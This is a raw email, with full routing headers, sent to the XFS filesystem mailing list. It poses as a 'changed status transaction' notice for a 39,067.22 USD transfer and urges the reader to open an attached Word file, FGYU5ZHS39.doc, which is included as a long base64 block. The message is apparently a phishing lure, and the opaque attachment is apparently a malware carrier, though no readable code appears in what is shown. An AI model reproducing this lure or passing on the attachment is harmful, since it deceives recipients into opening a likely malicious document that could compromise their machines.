Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 482728F8033 for ; Thu, 22 Oct 2015 08:08:18 -0700 (PDT) X-ASG-Debug-ID: 1445526494-04cb6c7b851c690001-NocioJ Received: from mail.immortal.jabatus.fr (mail.immortal.jabatus.fr [109.234.163.76]) by cuda.sgi.com with ESMTP id mb97UzUwqcZQ97QH for ; Thu, 22 Oct 2015 08:08:15 -0700 (PDT) X-Barracuda-Envelope-From: fax@boyegeometre.fr X-Barracuda-Apparent-Source-IP: 109.234.163.76 X-MailPropre-MailScanner-From: fax@boyegeometre.fr X-MailPropre-MailScanner-SpamCheck: not spam (too large) X-MailPropre-MailScanner: Not scanned: please contact your Internet E-Mail Service Provider for details X-MailPropre-MailScanner-ID: D1CCC3BE8EE0F.A8239 X-MailPropre-MailScanner-Information: Message sortant - Serveurs o2switch DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=boyegeometre.fr; s=default; h=Content-Description:Content-type:MIME-Version:Date:Subject:To:From; bh=9vl+MUcqp+4Xyu9Rhzwy67MpeD6uIQZ0P7uxN/GgIbQ=; b=YVE/+606PuSRsKXh5ePfL5tXHWM0PRweNXc3NfAqB6Loh9nRscjMhXLNDYWCes0TRN+HeyKwXEOlbKkISaSuJFL/PVMMAeCwsAX5hdtpxtyGMoEapMAE4tNWkc1MMvPJaOs+srcJoV5bayowfSupQPYd4+zoM40kv4CGHYCAGXSUTb6O5VofMMr/wnBlmgyyoloLIq/m858H/agQaOyyDLCjRR2mNgEZCtph5WILEwvmwcEQefe3mkVct9yUkokVQmQoBDe/6GayhBjI/L6AJpVxAhVKRW+eTVYKG/0oNQ9i5K2ysAXyPp1lxz4fCsrPE628x2fs8es+xLnE725j3g==; From: "Kibo William" To: xfs@oss.sgi.com Subject: =?UTF-8?Q?Changed_status_transaction__GTG987KQ5H?= Date: Thu, 22 Oct 2015 17:08:10 +0200 X-ASG-Orig-Subj: =?UTF-8?Q?Changed_status_transaction__GTG987KQ5H?= MIME-Version: 1.0 Content-type: Multipart/mixed; boundary="------------251521632497581063187612" Content-Description: Multipart message X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - phobos.o2switch.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - boyegeometre.fr X-Get-Message-Sender-Via: phobos.o2switch.net: authenticated_id: fax@boyegeometre.fr X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Connect: mail.immortal.jabatus.fr[109.234.163.76] X-Barracuda-Start-Time: 1445526494 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.14 X-Barracuda-Spam-Status: No, SCORE=0.14 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MISSING_MID X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23719 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Message-Id: <20151022150818.24F711296086@cuda.sgi.com> --------------251521632497581063187612 Content-type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Description: Message text Amount: 39067.22 USD Transfer #: 2DC07RYK5T Recent Status: Please see enclosed file. --------------251521632497581063187612 Content-type: application/MSWord; name="FGYU5ZHS39.doc" Content-Transfer-Encoding: Base64 Content-Disposition: attachment; FileName="FGYU5ZHS39.doc" Content-Description: Attached file: FGYU5ZHS39.doc 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAAEAAAAhAEAAAAA AAAAEAAAhwEAAAEAAAD+////AAAAAIABAACBAQAAggEAAIMBAAD///////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// ///////////////////////////////////spcEAX+AJBAAA+BK/AAAAAAAAEAAAAAAACAAA dM8AAA4AYmpiaplrmWsAAAAAAAAAAAAAAAAAAAAAAAAJBBYALtgAAPsBO1z7ATtcdMcAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAD//w8A AAAAAAAAAAAAAAAAAAAAALcAAAAAADIHAAAAAAAAMgcAAKoUAAAAAAAAqhQAAAAAAACqFAAA AAAAAKoUAAAAAAAAqhQAABQAAAAAAAAAAAAAAP////8AAAAAvhQAAAAAAAC+FAAAAAAAAL4U AAAAAAAAvhQAABQAAADSFAAAFAAAAL4UAAAAAAAAyxgAADABAADmFAAAAAAAAOYUAAAAAAAA 5hQAAAAAAADmFAAAAAAAAOYUAAAAAAAAwRUAAAAAAADBFQAAAAAAAMEVAAAAAAAAKRYAACMC AABMGAAAAAAAAEwYAAAAAAAATBgAAAAAAABMGAAAAAAAAEwYAAAAAAAATBgAACQAAAD7GQAA tgIAALEcAABaAAAAcBgAABUAAAAAAAAAAAAAAAAAAAAAAAAAqhQAAAAAAADBFQAAAAAAAAAA AAAAAAAAAAAAAAAAAADBFQAAAAAAAMEVAAAAAAAAwRUAAAAAAADBFQAAAAAAAHAYAAAAAAAA AAAAAAAAAACqFAAAAAAAAKoUAAAAAAAA5hQAAAAAAAAAAAAAAAAAAOYUAADbAAAAhRgAABYA AADtFQAAAAAAAO0VAAAAAAAA7RUAAAAAAADBFQAAFgAAAKoUAAAAAAAA5hQAAAAAAACqFAAA AAAAAOYUAAAAAAAAKRYAAAAAAAAAAAAAAAAAAO0VAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwRUAAAAAAAApFgAAAAAAAAAAAAAAAAAA 7RUAAAAAAAAAAAAAAAAAAO0VAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7RUAAAAAAADmFAAA AAAAAP////8AAAAAILga3SIN0QEAAAAAAAAAAP////8AAAAA1xUAABYAAADtFQAAAAAAAAAA AAAAAAAAFRYAABQAAACbGAAAMAAAAMsYAAAAAAAA7RUAAAAAAAALHQAAAAAAAO0VAAAAAAAA Cx0AAAAAAADtFQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsdAAAAAAAAAAAAAAAAAACqFAAA AAAAAO0VAAAoAAAAwRUAAAAAAADBFQAAAAAAAO0VAAAAAAAAwRUAAAAAAADBFQAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwRUAAAAAAADBFQAAAAAAAMEVAAAAAAAA cBgAAAAAAABwGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7RUAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMEVAAAAAAAAwRUAAAAAAADBFQAA AAAAAMsYAAAAAAAAwRUAAAAAAADBFQAAAAAAAMEVAAAAAAAAwRUAAAAAAAAAAAAAAAAAAP// //8AAAAA/////wAAAAD/////AAAAAAAAAAAAAAAA/////wAAAAD/////AAAAAP////8AAAAA /////wAAAAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAAP////8AAAAA/////wAA AAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAAAsdAAAAAAAAwRUAAAAAAADBFQAA AAAAAMEVAAAAAAAAwRUAAAAAAADBFQAAAAAAAMEVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADBFQAAAAAAAMEVAAAAAAAA wRUAAAAAAAAyBwAAPgwAAHATAAA6AQAABQASAQAACQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAENY2ppbnV4ZndqN3NQbWR0SW16Z3ZraXZQNEtBeG1M c0ZVbVhxT2pWQ2V6TU1wUVdLek9wMTF5NmxURXVWakpGMkxTc21vdjFlWlU1S3NjU3JybjJ2 QW5HYWF5dk5Pc3VtYkN0WU1qQW8ycHVJSGxiSXRyclNTcU56Sk5hOGlHUEFDeDVjS3ZjV0U1 cWRvdXZKTlpvbGw1dkt4NFZVZ3JMOUpRUTVZem9FVmdsM0tGREVUbFRFU2Qxelc3SlpLaThO ajJlOUt3UlllTHZhTTN5T0hNNG1ObnFnVnNDdktYWjVJYXVER3loVkxqcGNaRDFJRVRTcWVi WUIyTTNsSlRKRkp6Q3U3cEJ1ZHM0VjlOa0NrRWhtWEVWY3I1bEc4QnRSVjh5SDJENURzaFF0 NnlSalRyM3ZFeGpHTU9rM2tZZEtBQm9IdXllb2dKWWdBUkZMRDk0TWlaOTR4bGxOdm15RlE2 YlFLU2RNOFFDd000TFJGaFpra2V4b2RZR2JhbU1aTVZVSGtYdHF3U2NTbThtNEMxNDJGRm9m andmd1ZORGZ3bEJSUDBVa3ZsT0lPSkVaUGVqRjF6MkJxQUVrWHZKeFFSREE2WXNqNWVGSjQz M1hEU3VwN2hnODRWQ2R4TWdNa0RScjAwM25DUnRJMGxaRkJwS3JFUjBnZWpPdzRWMGt6MUpC eFo0OFEzMTU5NEZaamdkM1VvbEd5djEyUnNFTGVGTlg0eHRwSkJrb3ZVcXNOVmRmQzZZZHl0 aFE2VGpyUVgwcVpMZ1I0WllJUE1PbVRjWUplN1NTSVIzMTVISnlVaEtmVXphOHNmWExHb1dt Zmw1ZnUwb3RpeGh3Y2dNMGJXcnpqbFhZZDJqN3ZqeWVqazhKV2cyT0NmMFpJNmNONnhVaDVv c1VMdDFOVENuN2lhNXM0V2FSMW9PTmxEOHVuSXY0ZDY0R3lwY1ZZRktaTXlKODdIZG5PWVFB V1lyUkxxcTZMbFdHV05DWEJQRG44SER2bFJVc0tZZTk0NEpCNzRsNnFJa1lkcmZHcmY2Rkh1 MDNQeFNlZzNIV3JrdzJtd2FPNndKTEQwQVROTFpwSHNpa0cxMkloeXZESDgxSzcxZjRFU1U1 TzBldHNrNE9LbFFVSG1wOW04ZG9NajFIbm1iWDZ3NmJlMkNUTDhYYlVMcUQxckw3Yk1xc0xV VjJLN0dTZE02QVBXSzZqQldJY3VleFR2UFZCQUVKRkNQSTdyd0NVd3VZNVlsbTlZNkFHN2Fy Y1hNTjR0d3M2d2thSXBOaW5mRTlNNjh6ZW05Y0Z0RGVFNkpNeTBIUnVoNUd1ajNhbGhwaw1z blVrUnpDOWh6RnVnTmZUU0hEeGZzQmdndGNsRVQ0RmM5NkR1ZHR6aWt0YlZDN09VN3FvTnhx Y0JoaGRRNkZDbzNBa3JJbW94UmF3Wnp2b0Q4OGJrM3hHamtmbzlGME1PUnRlUDB1MEhNY1dt RlNySktEeFNwejRQU1pkcWh5b0djNGgyMmhBdWlSOGdES1prQ25oTTU5UUxRSW12akFncmlU YTZ4VFllUUJuV0VQQ21mVkFmMU5kdHEwcXcwYktaZ3l5aXBqRGtjSno2NTd3SDdWd3p5SUJy SkpLWUtuNzZwT3VRemdPNVdGMTJtdzRRbmd0MTd1eDc2dXVUaUtKNHg3UFNINXVXczQxZ1Ax Nk1sOWJEdG9lekNSMFpWcGNkYmdGUUhiTmh0WnJHVU4yVjU1d1dmRkgybGVrSDFMMXl3eW1W YkU1TWlZcFd4VHduOWlwMnJ3cmdHbEJaYlIyZ2V3MGJPWE5jMDkyTTNzWVZsQXFGWFdkVDFP SnlCWXpYMXRaY0h4bmNKaUZiVnBqVGF4RUV4bzNyeFFIejlYR0ZSZmx6VVVjNzM3Q3BROGNv b0hEYm5uTUFuOW1TVDlTY2NWVnA0MXJmam52dTV2ZW9sZklEUWdTcDNaSUtmVVZ0S2U2c0pN VW1yNGdDMlh3Sm9pQzlBeWNVV0c2enBrSzc0VEJoVDNmS3A1VzgwV21sczNHdkROVHUzTnBD RWFGSWdaMFBUdkhoeTFCTkZvYWdRU20xV0RaT0ppUFFkc1prY2RzUVM5czZlSkZrNGR4clVs d003RU01YmRid0lpeGhybmNvR2lGc0Qwa1ltMkpQRVhpNDRzU2RUSGducTZXeHltZHVjNkw2 RmhOR3kxZ21kSzJzcldaNFkyMmNZNklNUlVneHl0ZHA1bVNOaXNwZXY1cW1jb2lXRGpaNzZx OVJGRDZYQTUyR3BCWG1VdXU4TUVUaVNPSXBEUzBPVnA2OVZnU3lQbzBSblRMT3pFa0p4RkZL RE5wSEowdGlKMk1odTljcHNoTEtQdzZZdDN0SGYyWlZUYkhLNmNGbjRYUEJlOE91TTQ4WjFy dzhqTllYaUJMWW9XWDVPamc0Y0tCdzZBQ1h1Z1E2YkFjb1gzZVVOa3dhc0hyRHpnOUZMdlEz b0hzRFI3MXo1N0t2QmNXb0NrUFVCVWdkMUhmR0R0cm5aR3MzWjdlc3FCaDlDdW1QOXhsREZn U1pHdFNITzhYNmZXZjNWVklzUWlMOGxFVm1uZTMyU2Y4YUNneEM0aG4xNmY4THg0MnRwQ0ZY cjc0NzVzUDJ3aFExc0FRNEc2cHlxcGpCWDZ5DTM1eWtQRVB6dHJraHQ3cXF6NzhNMzRXN2Mz NTR6ell1MkVFTWNBRVhmMDFtWUh5WllDU2oxck00eXgzVzhwVzlTcXlpY0l0MUNuaUhMTk8w c2VReVNiUWJIRnk1VWJFQmgxNUgwYWZEMDQ4N3RlY2JaaEJNV0xESlV2YWtXSHdOZHE2aGtx UzlNR1RQZkpSVEVCZHdDNGNuekVPeHVDRmNFc3ZiRUZqZWZSbHNXS0V6bnlWQTh5ZkxsdGVY bWZLYkVTcUhmWTdiR01HRGFtOVpYSW1vOXVsQlNWM3lWQXZ1NEdFdVlUMGRQcmRjMTlPbFZz SzlPdFJkWE9iVm1YRmFTRzlSU2tOOWNSZnlLY09JaVZnNDJTeU45cUpXVjBMdDlnbjZFb3Uz Vm4xQXdZSlNuZzNaTmtqU1I4SW1ZWFBYc2NMQ2o4SmhadzhTRWg4RlhRSnFUN0I1dlZncXFT ZDJKb2tUQjd2aGR5WFV1YWJWMDJmckd0ak5PZkpVM0tSWlBHd1hWaW5jRE1DS2ZscUxDSG5i MVFpcE5HdHRvYWZqNE50MENsbG5LSUNoREN6QzR3REJyR3g2Uk5KWndRWVJmcWhDRXRpUkxk MkQwdk45RmRlckhiWlFhNG1vZWhvMTZzMlJPNmxsZ0JaSk8yZlFSd1QyN3RJbUFvN2JSazNu NG5mckpUTE5tSk5lbnVuS1BIcDZEWklBaVp3ZjNoMjVESjd6S1ZvMjNBazdrSk05VU5xS1VM bXhZWnV1VkEwUVVtajNCeHFnbHI2cWkwQTJPN0RpZTBsVVhaTzBLVWRhZTNpTVpjWGRKNkFm bFJ6UE5tY3JpRDVFR09makxDMFpvbkFTOXc0anlPdnpjdExSMVZRczVzT21uT1ZlN081WUpq WHZkZklPV3l3QjlhZ2VyZE9VY0h6WVdRM2t5bVZTMnd4QjFlZFFIQVNnZ0U5bVdmS1l2Q050 c2U0eTI5QnBMMTM0MXFpdERsQjRrTUJNVHFQVlRJeGpvSTU1ckh5bVRkcFlRbzBGNzJHOHVz Q2Z1eFE0T3l4bFpXVXpvTzBhc2IyY1g2Q0dybUNEOFNzOXV2M3VITFZIWHJVanl1SU5HYXVI VmNKVmdKVTdMN2ZsNk1BRXllbE95QXg2ZFVSeGVaWlczNFhKYzhLWXMzNW5DQnFiRGNCdlFk NDhxYnNwdXlYSXo3bnkxQkdGckdEVDBOa01CN014eDB1bjJjSURBdG91cEpKN09QNnpJUzhu SkhsTUJqRDRTeWI5UjhabURmNTZWNlo0amR0SThDTWVJQkppdlVRaDVmQkpCcEFucW02bEsw ajINYVhSM014WjRDb0luTHRuZEJRd1N5ZGU2R2J3N1NuUWJkaVRPaHBkSFRnRDRIdU1WOXZT YXNwc21lbkRGRFNvakZFTWNBSHJTSFhrdXplam5QbVNWa05iOER1VnRMdWZuaFY5TWRFZThv Y2lzMGwyTDlnUmxIS3I5R1NIQjRsY1pUd05NZ0RyOXIyOXI5S2lGRUg0ZVRFMnE4VEZ4a0RI RlNRV3N3MlZyS1doWnJXNmVTcW82bmM2WjZ3SjdiSTBqWmhSNVZmcmRnMWlZbEpkSkozOFRa blVBVE02TnNicVVtS2tPeGpWOGxxc3Jac2RjQXFEendxc2RpeEpPbVNYNk1aeG1LRU9jQ1Rn dXdqdmhFVWF4WDk5bkRwRzB5NGRRUHJidFRhNENLS1pEM2JJNHRzcEh2djd5VHFZbzJ3ZWNm MzNKSkJ5ZkEyeG40UXNkN20xUmVhY2JBSlNUTDZFT2JDZDlJSzRDZ1FtNUd3eXVWWU5RVmZw QXhTMlBmZ2poR1R4MWlhSjBnbFJmYUo2WHEzQVB5WnBmSDkwS3dRTW9mT0xqQ3NFcmJvMHo5 NlFFYUxjMmRWVDI4Y2trMkFCNVVlZUxJT1JKRGc5a1Zib3oybTZqd3NBd0FlQWxEd3lRZlU1 ZlhFVDNJZHZaMlUxQXkwUTZtd05Za2NaZGJnaWlDTHZIZmo4emk5akd3bGFna1VEYVNJU2Qy RXExb3VETklldW9nRjhEOFkwQTNGdXA3c3Npd0tkMHhaYkRJbVB3TWxJTnpERTF6OFNrekFN OEJndVBleGY1VGgwNkI5UkdoejdJcmdaWXgwOHpKMHlTWUU0ZDd2NGQwRTJZTGlqVlgwTHhO dThrOENDdEFVcENHbWRoYTNmMzdFcERlUDVzSERRTkd1cEJSUFhtdG1vRndnUDFLWkdQUzZM ODB1Tlk2RnVieWRycE5VMGZGRmt6MW52MnUzcDl6UjJBdGdTUnZVV0ZCQVgzSUdydzI0Q3Zn RUMzaHNPT0V0OFNmNDk2NFV4b0VKSHNzNUppdUk2NFNxZ0lvc2YwV1YzR3FGZWJIaHZDa2g4 azVUTWl3M2JEWEpjc1B0ZFVSZ3gxMmx5ck9nWHlpRVRuemhsZTEza0NSWTZQQ0REUHFtUlBR Ukh2UUlrNGNISkVNaHpJYjBTbkR3ekxUQkF0bTkydm5BVVQyNDdGVTR4MVB6OTdxQ0luamdV TmVxV0hMOHRmT3M5MjdJUTd6aU1zOUo1Z3pvbmYzU0h6YVdiWG9Vck5WWk90ZlRNMk03Vng0 VTY2TTNwRUFhVnpoR0MzUEdBM3NMT2ViT3E1RzNITg1FVE5xN2NVenNRTGt1RkhGcGtkb0VQ RHBTYU5VWDg0alRNQzBxTVY1SU9xSjNiMzNFYTJTQXJ1Y2ZzaDFzTnR3RFR0eUM2ckU3OUh1 NUMyVk5TdmZ6dEhuMllZZElFa1A4RVlRemZQUkljOG1mWTlqcVlFbW40TlR6VXFsdlFBMEFU T2l5eGhRckd3Vkwxa0lFeUR3d1FrblpZdUpYYktBVkUydnJDRWNPUkhTbU93QlhjRnJrNEI5 RnlvbXBpV0pkTzNjczg1MjBCbVZraDZtMDE3eVE2UTFpOXM1RGRpdlN2WU9rMkxadDdLQ0Nz cnpRelQ4WmJwSldEZEcwUkE2WnU5VUhZdzJaQTVtbWFZV3hYT0RYb3FoZU1oSldoNTZlYzc2 clZKbXV0U3VTblUzWHZLakNDYVAyRGF5SzJITTVsYkhwYUVJVm5naDlwRUFNbnBKTmZUTHhm NlFQU3RsMmV3ZGZaU1ZUdHdEeHZhQ2tHYkR3WkltbG5PZUlWSzhZNmtmTUJzdm9obmJ6Tkpo UG5uMlh4dlNFSnk4NXkzYVNuaG9YVFJNazZZcURxeUV2QWJTdnNVcTBtVHF2Q2RRZHhDc2Nm UXNYQkU3Tlh2RWtVcGg2UFhmTlgxTnBSelVwZk91WGdveXA5M1NFbEVDUWU3UzJ3TDVyaHpC NDB3SE5BWmhaZzNOUXFYODViM1lKVDE3YmJOZjdWNEY4cTBWcmVmWWdteWNXQzNUakZvSUpG cHNNTkRDSWxnR0Q1b25jRGN1cE8xZlpEWXB4Ukx4bnFzSWxwUThwaGIwd09GMVlOMmwycGtp dEtMRE5MclM4aUFsbHpRQTFwZkQ1NktKZkN3MUhSeENMVnBXUWFjSlJ4N0FwN0pOTjNoQjhI WGhPT2RXSEdyd2pRTmRyalloQ2swbEF3WFBlR1BmWnhnYnRicU45eFdCaTRVOGdVZHVOSnFT NWRZQkF1UDh6b3VPaEM2Nms1UkJ5WDhLNmZNNDQ0eUFVekk5eXIyR1I3Tm8xYW9iTlEyN2xY VGNwQzU5ZjBlcXplRnhxR3dQUEU5OWZJNUgzWVhwSDlOd3pvM1dTOEJyUVhRdENWR0t5bWtG dHBheTZtTjN5NUVRRGZ3SDdKM2liNXFUbXFCY1NRUVdZM0YxMUdDQkxoSWhaZm1YQUJ2aUpH NzdRM0RmYUJaZExOMlJoMHd2Y253WWxiR2FUSUdIaVlnNDBtN1J5RzVtd25ieTlBWjhhWFpx aURNMnhkbDNwQ2tJMXUwVlZpeDNtMTdaWlBuZjFqamJzTHZKRHEwY3dCaXNNRkI3czNoTWx0 ZGtKZDJIDWtQVFJCR1BqMzhUTGMyMkc3U2UyRG1HTVRyVE9MTHhTV0VaOUE4T0x1eE9zd1U4 WDQwbkptMGVLcmpRUkhSd0U1bzNMeVVEQVZMMk5jSFBybjFWQmhpTnFCS0lEblhZeHRic1hT NnBFcHNIbkp5ZHBVU2tjRFlZRml2Z0tBaTJlUU5yVk82Mm03cENQUzZoQWd0T2VRTU92M1BD UlVLbnpabFZ5VGViVFhkOXJFS1NDeTkzNTJhalAyckVCb3ROc0c5eEtteHJiM05mbTVEUVlZ d1o3R0NNMXhwUWQ4emF6SDhMckt4eUlISjVtSW81RjJKVmt4azc1akE3dEx2S1VXc2VFRzBN SkxzSFBXYkhlSnBwWmR5YjNpNlR3cDNsdGlCMUw5M2gzTlpDT0FnSlRaVThPclNNS0FPV0pO UEliOEpiTXhYM2YwTUNsbmhEVlRDdHdnampBMDRWNXJrYjRFeVFnTm5MdVNlNndKVWpwbE1p OUxaNnJ5UXA0UTZTRVhpQzZWQmNreWt4RXZuWnU0Wm45akphaVA1eHR3cklzUTY3cTRKY09C dk9paHFweWFGcnNpVTlmUTNlZ0ExVDZyMlpQSktrTEl4MUZST2tLZ1Y3VzcydklreE1ZZWd4 TGQ2UVFONWFWQ205OFBkNDBIY2xBMjNVbDdFZG8zNVBBeE5DeHlhYUo5bnRBZHI5Z0QzQTA0 TEl4eFNPSm5LRnd1bkh0ZUJWWnYzTVNnUXltdTJnclU0RWtWSHpkdUMyZUNTcHV1UkdhUmt4 UzkyYjJ0RDNZNlVwcUUxTVR5RDg0Y0FSaGdWa1NnTEFKYW1pelRjRjlhSVBxZTFYWmZTdFl1 NmlnN2N2UFpPZGpkVUZaMTREVDJpTWVTRjFYYVpjMWtsTm5GQjY0WVpvc09ac3M5eml3NDB4 MEdzTE92WHpHN3J1QzZZTUNwTzJYQzF2blVZU3U1R0RWbmVUTWk2eWhGTHBITktRajRNdWlz clNzTDljNFk0YkZzOVZnaW5CbXV4SVBTcTk0TG9UelRJSk92UmJqaG5jS3NudG1RVGlNbjhH NjlVVmpvSndMZlVzeDJWZHlvcG5DNkpFeVQ3YmM3OHNYdkl6ZEdsMVlJU3kwZDU1TzVIUHRi MjE0aFI5bVQ1YVlZYzV6SlFvTk53YU84Z1pCanNXMzBpNlFQYjhsdDZCMUl6Q1o0T3EyUUlX Rnk5ekFENmRMOXo5Vm1NUUkxamRJQU9EdjMxYXR4U2ZjYVd0SnhyTTJMRFZ5UnFNMGhxbEww eUUwOFNKN2xHaWc0ZVdjWVBxRkZQTlBtTkdqMDZLOW90TEYNeThzc2VKQ25LMFRUcHU4R3V3 QWRZYnhaOU9BVHF1cDBRdGhmSmxpRFMyVUt6RG5Jc0xJOEJBd2JDMmlhWTZLaUZNWGlDUmd5 bno3Q2M0MHpCWGE4b0VpZjRONGFsSE5DNHYxTVNlM1pTcEh3cng2UGpBelV2eFpScEJaRlFh NHRndmRLdUpXTTBjdEp2aVFDSDN6T3ZMcjg5YXllaDMzVUhoVEZIcnZFajNwcmV6RGhQYTho RE1rMDV6dU5ONEJqUjFBNzlwRHk5M2VXTXZEY3pwQU5EZFBBbkcydEJCaDA3Qk1SZ0VhSkl4 STFzTlhpbXcwUVRndDVPeHVZYlVtNUJ5bmpZTUtLV01xS2RndExTazFSQ1dBT3Y2MUpXTFNv TnNEb2d5WXlZR1h3MkRWWmpJTTBxd3BKN0FWZDZLcXRJNDJKWUdFdUk1d2YyNUNPZE8wdmVU ZE82QTQ1a2JNWmNyZU5jam9zMXdqVE0wNTNhdXJrdGpDQlRraWRVTU5sR3ZqbVkzdzBKQ0Jn UTliaWNtdEFRSlZMUDQycjIzbzl3U1IyT1NIemk0RWVLNm8wSjFPSTRSVUxDaFpPamNNbTFQ ZWZaZEwwSDdVTlNiRDU2YkxNUXdOcTRnYkV0MHVMV1lIcUthWHpnZ1B6ejByYjVtaHZ1RFBw UTQ2cXhua1JSSEM1TjZsdHdWeVJCT0lIa2MxaHlta212QjdHeFc3RnM2VjlYcjdqeVY2RGxv OVljOUw4SlpQV2xDSWxJVXlTMm9saWlrTWVHMzV0R1I2em5GRFFMalZ3b3dVbXRFU2ZGeHVu RFFhN3U4TnFFOWQ0N3VWSlllTTFSb2ZhOGY5WTd2eTdBM29jeDVZNzBTZ3c1eUs0QkQ3eEJk ZlFCSWd6amlVdVp6SHRLNFFoZ2NiVGxuMGlkdk5leW15akhlRnVqSzhQV1pFaVpMYzV0ZFpM M0Z3R3kwRDg0OWRFS2FMdFRlZ0JBbDNKZkRpaE0yRFZIdEMzcTJqMlBBWW9Od0V4SHM3NUN3 NHZSVW5EaFV5a0FrT1dvVFpTMFJhZGo2N1BEWDV5Yk5CZzhGYzBXVWFsYVI3ejFpSElXU3FS VE1uTFhkU3BZY1Zqdm0zZHpFNklMWmRMbmhhNzRtMkN0cWtLNGNzOE5nVjZFSHYzb3VxZzVm aVlmb096cmlmZFhobkQ2ZEdJVkNobjNLU0dSb3lueGlNZmdIRTZJWmhnMmh0MkxZUGJTRjFD NHVBM3I1MEI5QU5WdURTM2JPaTJrSk1FbmNHRlZUYnk5c3VpM0JYY1BQRjVpaE8zZDBJOEhi Q1RIbDNVRTdBRg1LYTM2UjJXYXVFMEF4RTV4NlNBUnBPZTROR0t2Z3dWa0tpc0R0S3FZZzY1 Z3dISm1hM0xEVTZCTFhqOERMRlFSbGpFeUpNSHBEakx1T1NuRUZXMGVTT3YyY09wQXZxQkdi RkloajZxRTdITEhma3FYc1NwaVdqUjM1dVpqNE5zRjBidTU5U0RySWRVVHhmUGdWZE1OdWFO Snozb0dwa1pmR2xNcXljekdMWVc2WndSdmRPbThla3BnRElFUGxMZkZUZlE2YUluMDA0Z2Vi UzNTUzA0VTFoMGVGMVNzS0syUTlUbHM2aEJENDc3RHZ4STRvQ01nUjJMUml2dlFuQjFNSlpP Y3RUcnlERloxU3kwYVl2VjVxczZCdE9yemxCSDdzNXc2N29RV2VkRXVoOGQzdzlxWXAwQndu TmYzRmZKblpiMUF4ekdkMXZORmJydWE1VDJkSGkzV25DdE1GUlNvVWJVM3VHbjFWTXVNdlB6 Tm8yTHNYV2lnT0I5TkFYSTVCUEV4eWhIR1NqUWx2UWZadkZ5VFNJNWxLNkNYMnhMTVgxSE5L M0tyS3BYOUxQZlp6TDZyT0dmaDVrRVZnb3VXVXpLVWowVEdCdFFIMlJwcGhzR1Y5aWFKSlRy U3JiTEh3OEM1UmJpUWtmbFFBNXlmMnVZTDdnSDJWWnZqSlU5OU1OUzhkVHJqRnFKbnlxWTU2 REI4ZE9qanhpWjBMVUJFU2JTY0pmS3BER1hMV0pMOFJRRnBzWU42anVnb1JQVFNTdXI5T1M5 VGZad0dKbHR2QWxwU2JveHUzeTY0TWpJVEd3VkJiUDlPQldyaG1lcUdZdlowOHJEbkowcDFL cEY5TUFTYXNreUdPNDRSRjdGYUhtUGp5eWZmcXV0VDhlQWYwYWxaWUNjNkpIYllaVERGSE1q cExyc3FkQUdVQlF0MzhTMGwwN1BMcXhaa3JrSWtKVU10NHVXWW9sdlJ0SHZyUWhLWGFBbGMz 